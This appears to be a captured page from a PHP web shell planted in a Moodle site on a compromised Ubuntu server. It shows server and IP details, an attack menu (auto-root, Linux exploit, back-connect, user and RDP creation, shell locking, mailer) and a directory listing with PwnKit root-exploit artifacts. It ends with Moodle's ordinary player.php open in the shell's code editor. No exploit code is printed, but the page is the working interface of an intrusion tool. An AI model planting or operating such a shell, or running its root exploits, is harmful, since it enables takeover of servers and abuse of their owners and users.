Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
scorm /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
datamodels
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
aicc.php
22.74
KB
-rwxrwxrwx
datamodel.php
3.84
KB
-rwxrwxrwx
grade.php
1.55
KB
-rwxrwxrwx
index.php
3.99
KB
-rwxrwxrwx
lib.php
44.35
KB
-rwxrwxrwx
loadSCO.php
9.04
KB
-rwxrwxrwx
loaddatamodel.php
4.37
KB
-rwxrwxrwx
locallib.php
71.84
KB
-rwxrwxrwx
mod_form.php
23.28
KB
-rwxrwxrwx
module.js
27.18
KB
-rwxrwxrwx
player.js
1.18
KB
-rwxrwxrwx
player.php
11.48
KB
-rwxrwxrwx
prereqs.php
2.79
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
report.php
3.19
KB
-rwxrwxrwx
reportsettings_form.php
2.11
KB
-rwxrwxrwx
request.js
1.86
KB
-rwxrwxrwx
settings.php
7.02
KB
-rwxrwxrwx
styles.css
2.54
KB
-rwxrwxrwx
tabs.php
2.07
KB
-rwxrwxrwx
userreport.php
15.18
KB
-rwxrwxrwx
version.php
1.19
KB
-rwxrwxrwx
view.js
1.42
KB
-rwxrwxrwx
view.php
6.64
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : player.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /// This page prints a particular instance of aicc/scorm package require_once('../../config.php'); require_once($CFG->dirroot.'/mod/scorm/locallib.php'); require_once($CFG->libdir . '/completionlib.php'); $id = optional_param('cm', '', PARAM_INT); // Course Module ID, or $a = optional_param('a', '', PARAM_INT); // scorm ID $scoid = required_param('scoid', PARAM_INT); // sco ID $mode = optional_param('mode', 'normal', PARAM_ALPHA); // navigation mode $currentorg = optional_param('currentorg', '', PARAM_RAW); // selected organization $newattempt = optional_param('newattempt', 'off', PARAM_ALPHA); // the user request to start a new attempt $displaymode = optional_param('display','',PARAM_ALPHA); // IE 9 workaround for Flash bug: MDL-29213 // Note that it's not clear if appending the meta tag via $CFG->additionalhtmlhead // is correct at all, both because of the mechanism itself and because MS says // the tag must be used *before* including other stuff. See the issue for more info. // TODO: Once we implement some way to inject meta tags, change this to use it. MDL-30039 if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 9') !== false) { if (!isset($CFG->additionalhtmlhead)) { //check to make sure set first - that way we can use .= $CFG->additionalhtmlhead = ''; } $CFG->additionalhtmlhead .= '<meta http-equiv="X-UA-Compatible" content="IE=8" />'; } if (!empty($id)) { if (! $cm = get_coursemodule_from_id('scorm', $id)) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id"=>$cm->course))) { print_error('coursemisconf'); } if (! $scorm = $DB->get_record("scorm", array("id"=>$cm->instance))) { print_error('invalidcoursemodule'); } } else if (!empty($a)) { if (! $scorm = $DB->get_record("scorm", array("id"=>$a))) { print_error('invalidcoursemodule'); } if (! $course = $DB->get_record("course", array("id"=>$scorm->course))) { print_error('coursemisconf'); } if (! $cm = get_coursemodule_from_instance("scorm", $scorm->id, $course->id)) { print_error('invalidcoursemodule'); } } else { print_error('missingparameter'); } $url = new moodle_url('/mod/scorm/player.php', array('scoid'=>$scoid, 'cm'=>$cm->id)); if ($mode !== 'normal') { $url->param('mode', $mode); } if ($currentorg !== '') { $url->param('currentorg', $currentorg); } if ($newattempt !== 'off') { $url->param('newattempt', $newattempt); } $PAGE->set_url($url); $forcejs = get_config('scorm', 'forcejavascript'); if (!empty($forcejs)) { $PAGE->add_body_class('forcejavascript'); } require_login($course, false, $cm); $strscorms = get_string('modulenameplural', 'scorm'); $strscorm = get_string('modulename', 'scorm'); $strpopup = get_string('popup', 'scorm'); $strexit = get_string('exitactivity', 'scorm'); $coursecontext = context_course::instance($course->id); if ($displaymode == 'popup') { $PAGE->set_pagelayout('popup'); } else { $shortname = format_string($course->shortname, true, array('context' => $coursecontext)); $pagetitle = strip_tags("$shortname: ".format_string($scorm->name)); $PAGE->set_title($pagetitle); $PAGE->set_heading($course->fullname); } if (!$cm->visible and !has_capability('moodle/course:viewhiddenactivities', $coursecontext)) { echo $OUTPUT->header(); notice(get_string("activityiscurrentlyhidden")); echo $OUTPUT->footer(); die; } //check if scorm closed $timenow = time(); if ($scorm->timeclose !=0) { if ($scorm->timeopen > $timenow) { echo $OUTPUT->header(); echo $OUTPUT->box(get_string("notopenyet", "scorm", userdate($scorm->timeopen)), "generalbox boxaligncenter"); echo $OUTPUT->footer(); die; } else if ($timenow > $scorm->timeclose) { echo $OUTPUT->header(); echo $OUTPUT->box(get_string("expired", "scorm", userdate($scorm->timeclose)), "generalbox boxaligncenter"); echo $OUTPUT->footer(); die; } } // TOC processing $scorm->version = strtolower(clean_param($scorm->version, PARAM_SAFEDIR)); // Just to be safe if (!file_exists($CFG->dirroot.'/mod/scorm/datamodels/'.$scorm->version.'lib.php')) { $scorm->version = 'scorm_12'; } require_once($CFG->dirroot.'/mod/scorm/datamodels/'.$scorm->version.'lib.php'); $attempt = scorm_get_last_attempt($scorm->id, $USER->id); if (($newattempt=='on') && (($attempt < $scorm->maxattempt) || ($scorm->maxattempt == 0))) { $attempt++; $mode = 'normal'; } $attemptstr = '&attempt=' . $attempt; $result = scorm_get_toc($USER, $scorm, $cm->id, TOCJSLINK, $currentorg, $scoid, $mode, $attempt, true, true); $sco = $result->sco; if ($scorm->lastattemptlock == 1 && $result->attemptleft == 0) { echo $OUTPUT->header(); echo $OUTPUT->notification(get_string('exceededmaxattempts', 'scorm')); echo $OUTPUT->footer(); exit; } if (($mode == 'browse') && ($scorm->hidebrowse == 1)) { $mode = 'normal'; } if ($mode != 'browse') { if ($trackdata = scorm_get_tracks($sco->id, $USER->id, $attempt)) { if (($trackdata->status == 'completed') || ($trackdata->status == 'passed') || ($trackdata->status == 'failed')) { $mode = 'review'; } else { $mode = 'normal'; } } else { $mode = 'normal'; } } add_to_log($course->id, 'scorm', 'view', "player.php?cm=$cm->id&scoid=$sco->id", "$scorm->id", $cm->id); $scoidstr = '&scoid='.$sco->id; $scoidpop = '&scoid='.$sco->id; $modestr = '&mode='.$mode; if ($mode == 'browse') { $modepop = '&mode='.$mode; } else { $modepop = ''; } $orgstr = '¤torg='.$currentorg; $SESSION->scorm = new stdClass(); $SESSION->scorm->scoid = $sco->id; $SESSION->scorm->scormstatus = 'Not Initialized'; $SESSION->scorm->scormmode = $mode; $SESSION->scorm->attempt = $attempt; // Mark module viewed $completion = new completion_info($course); $completion->set_module_viewed($cm); // Print the page header if (empty($scorm->popup) || $displaymode=='popup') { $exitlink = '<a href="'.$CFG->wwwroot.'/course/view.php?id='.$scorm->course.'" title="'.$strexit.'">'.$strexit.'</a> '; $PAGE->set_button($exitlink); } $PAGE->requires->data_for_js('scormplayerdata', Array('launch' => false, 'currentorg' => '', 'sco' => 0, 'scorm' => 0, 'courseid' => $scorm->course, 'cwidth' => $scorm->width, 'cheight' => $scorm->height, 'popupoptions' => $scorm->options), true); $PAGE->requires->js('/mod/scorm/request.js', true); $PAGE->requires->js('/lib/cookies.js', true); echo $OUTPUT->header(); // NEW IMS TOC $PAGE->requires->string_for_js('navigation', 'scorm'); $PAGE->requires->string_for_js('toc', 'scorm'); $PAGE->requires->string_for_js('hide', 'moodle'); $PAGE->requires->string_for_js('show', 'moodle'); $PAGE->requires->string_for_js('popupsblocked', 'scorm'); $name = false; ?> <div id="scormpage"> <div id="tocbox"> <div id='scormapi-parent'> <script id="external-scormapi" type="text/JavaScript"></script> </div> <?php if ($scorm->hidetoc == SCORM_TOC_POPUP or $mode=='browse' or $mode=='review') { echo '<div id="scormtop">'; echo $mode == 'browse' ? '<div id="scormmode" class="scorm-left">'.get_string('browsemode', 'scorm')."</div>\n" : ''; echo $mode == 'review' ? '<div id="scormmode" class="scorm-left">'.get_string('reviewmode', 'scorm')."</div>\n" : ''; if ($scorm->hidetoc == SCORM_TOC_POPUP) { echo '<div id="scormnav" class="scorm-right">'.$result->tocmenu.'</div>'; } echo '</div>'; } ?> <div id="toctree"> <?php if (empty($scorm->popup) || $displaymode == 'popup') { echo $result->toc; } else { //Added incase javascript popups are blocked we don't provide a direct link to the pop-up as JS communication can fail - the user must disable their pop-up blocker. $linkcourse = '<a href="'.$CFG->wwwroot.'/course/view.php?id='.$scorm->course.'">' . get_string('finishscormlinkname', 'scorm') . '</a>'; echo $OUTPUT->box(get_string('finishscorm', 'scorm', $linkcourse), 'generalbox', 'altfinishlink'); }?> </div> <!-- toctree --> </div> <!-- tocbox --> <noscript> <div id="noscript"> <?php print_string('noscriptnoscorm', 'scorm'); // No Martin(i), No Party ;-) ?> </div> </noscript> <?php if ($result->prerequisites) { if ($scorm->popup != 0 && $displaymode !=='popup') { // Clean the name for the window as IE is fussy $name = preg_replace("/[^A-Za-z0-9]/", "", $scorm->name); if (!$name) { $name = 'DefaultPlayerWindow'; } $name = 'scorm_'.$name; echo html_writer::script('', $CFG->wwwroot.'/mod/scorm/player.js'); $url = new moodle_url($PAGE->url, array('scoid' => $sco->id, 'display' => 'popup')); echo html_writer::script( js_writer::function_call('scorm_openpopup', Array($url->out(false), $name, $scorm->options, $scorm->width, $scorm->height))); ?> <noscript> <!--[if IE]> <iframe id="main" class="scoframe" name="main" src="loadSCO.php?id=<?php echo $cm->id.$scoidstr.$modestr; ?>"></iframe> <![endif]--> <!--[if !IE]> <object id="main" class="scoframe" type="text/html" data="loadSCO.php?id=<?php echo $cm->id.$scoidstr.$modestr; ?>"></object> <![endif]--> </noscript> <?php } } else { echo $OUTPUT->box(get_string('noprerequisites', 'scorm')); } ?> </div> <!-- SCORM page --> <?php $scoes = scorm_get_toc_object($USER, $scorm, "", $sco->id, $mode, $attempt); $adlnav = scorm_get_adlnav_json($scoes['scoes']); // NEW IMS TOC if (empty($scorm->popup) || $displaymode == 'popup') { if (!isset($result->toctitle)) { $result->toctitle = get_string('toc', 'scorm'); } $jsmodule = array( 'name' => 'mod_scorm', 'fullpath' => '/mod/scorm/module.js', 'requires' => array('json'), ); $PAGE->requires->js_init_call('M.mod_scorm.init', array($scorm->hidenav, $scorm->hidetoc, $result->toctitle, $name, $sco->id, $adlnav), false, $jsmodule); } if (!empty($forcejs)) { echo $OUTPUT->box(get_string("forcejavascriptmessage", "scorm"), "generalbox boxaligncenter forcejavascriptmessage"); } echo $OUTPUT->footer();
Close